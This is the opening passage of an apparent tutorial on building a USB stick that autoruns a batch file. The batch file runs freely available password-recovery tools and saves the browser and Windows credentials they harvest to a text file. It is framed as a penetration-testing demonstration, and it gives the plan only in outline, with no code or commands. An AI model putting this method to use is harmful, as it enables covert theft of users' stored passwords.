Windows allows the storage of the passwords, as do modern browsers. While this feature is convenient for users, it has imposed itself as a big security risk among organizations. We know that browsers store most passwords on a daily bases, like MSN messenger, Yahoo, Facebook passwords, etc. Most people lack the time and ask their browsers to save their passwords. As we know, there are many tools available to recover saved passwords, so in this article, I will explain to you how to make a USB password stealer and steal saved passwords.
Just to explain the concept, we are going to collect some password-stealing tools, tools that are freely available on the internet and capable of stealing the passwords stored in the browsers or other windows files.
Then, we create a batch program that will execute these combined programs and store the stolen usernames and passwords in a text file.
To further spice up the penetration testing demonstration, we will also make this batch file execute as an auto-run for the USB stick, effectively stealing the passwords as we plug it in.
